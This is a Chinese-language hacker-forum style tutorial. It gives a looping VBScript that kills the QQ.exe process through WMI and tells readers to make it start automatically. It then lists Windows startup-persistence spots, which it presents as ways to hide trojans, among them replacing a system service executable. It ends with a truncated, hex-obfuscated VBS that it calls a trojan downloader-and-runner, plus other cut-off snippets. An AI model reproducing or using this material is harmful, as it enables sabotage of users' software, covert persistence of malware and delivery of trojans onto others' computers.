是个不错的网站，在这里我表示个人意见，支持支持永远支持！
今天我给大家做个“用vbs代码禁止QQ上网”的教程。希望大家喜欢！
dim bag,pipe,honker,good
do
good="."
set bag=getobject("winmgmts:\"&good&"rootcimv2")
set pipe=bag.execquery("select * from win32_process where name=’QQ.exe’")
for each i in pipe
i.terminate()
next
wscript.sleep 50000
loop

我们来看这段代码。我英语不是太好，不过process它的意思我还是知道的，就是“进程”的意思。
上面代码的意思是当找到名字为QQ.exe的进程时就关闭这个进程！sleep就是再50000秒后关闭它。我们来把它调到1，0是不管的。不信你试验下。
dim bag,pipe,honker,good
do
good="."
set bag=getobject("winmgmts:\"&good&"rootcimv2")
set pipe=bag.execquery("select * from win32_process where name=’QQ.exe’")
for each i in pipe
i.terminate()
next
wscript.sleep 1
loop
loop我们都知道吧，是让这个程序死循环。

好了，我们超做下！
把上面改过的代码存为vbs为扩展名的文件。
运行下！
看到了吧
我的号码下了。。我们再等下看看如何！
更本启动不了！！
我们再把它设置成自启动的就可以了。先停下。没钱了！

好了，我们继续。如何启动我再这里就不说了。我给大家找下资料。。

开机启动程序的几种方法（用来隐藏木马的哦）

1、启动项
开使---程序---启动
2、注册表中
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
3、最不容易被人发现的组策略中
开始---运行---gpedit.msc
用户配置---管理模版---系统---登录
双击在用户登录时，进行属性设置，选顶设置项中的“已启用”项，并单击显示按钮，然后在添加项目中输入自己要启动的程序路径
4、服务
在服务中把里边的程序替换成自己的木马也可以
%systemroot%system32faxsvc.exe
5、msconfig
这个我这里没法演示，2000好像没有这个东西
在运行里打msconfig，然后就可以找到启动，添加或修改都可以
不是很全，还有个地方可以添加启动的，我忘记了，可能是安全策落中！！
大家研究吧。
好了，我们来解决如何再打开我们的QQ。
我们只需要改下参数运行就可以了。。。
又打不开了，我们再来说个方法。就是改文件名。。
这样是打不开的/
这样就解决了。。
好了，就到这里吧

一个收集的下载木马并运行的VBS代码
scriptlanguage="VBScript"S="2020206F6E206572726F7220726573756D65206E6578740D0A7373733D226D64622E657865220D0A61613D226F62220D0A6161613D226A65220D0A616161613D226374220D0A61616161613D22636C61220D0A616161

可以将文件转换为vbs语句的vbs代码
文章作者：xiaolu[BST]信息来源：邪恶八进制信息安全团队（www.eviloctal.com）这个不是exe2vbs所有类型的文件都可以转化的不过限于string的大小文件不能太

收藏的比较精典VBS代码
文件操作Setfso=Wscript.CreateObject("Scripting.FileSystemObject")'创建文件系统对象，用以处理驱动器、文件夹和文件SetWshShell=Wscript.CreateObject("Wscript.Shell")'创建系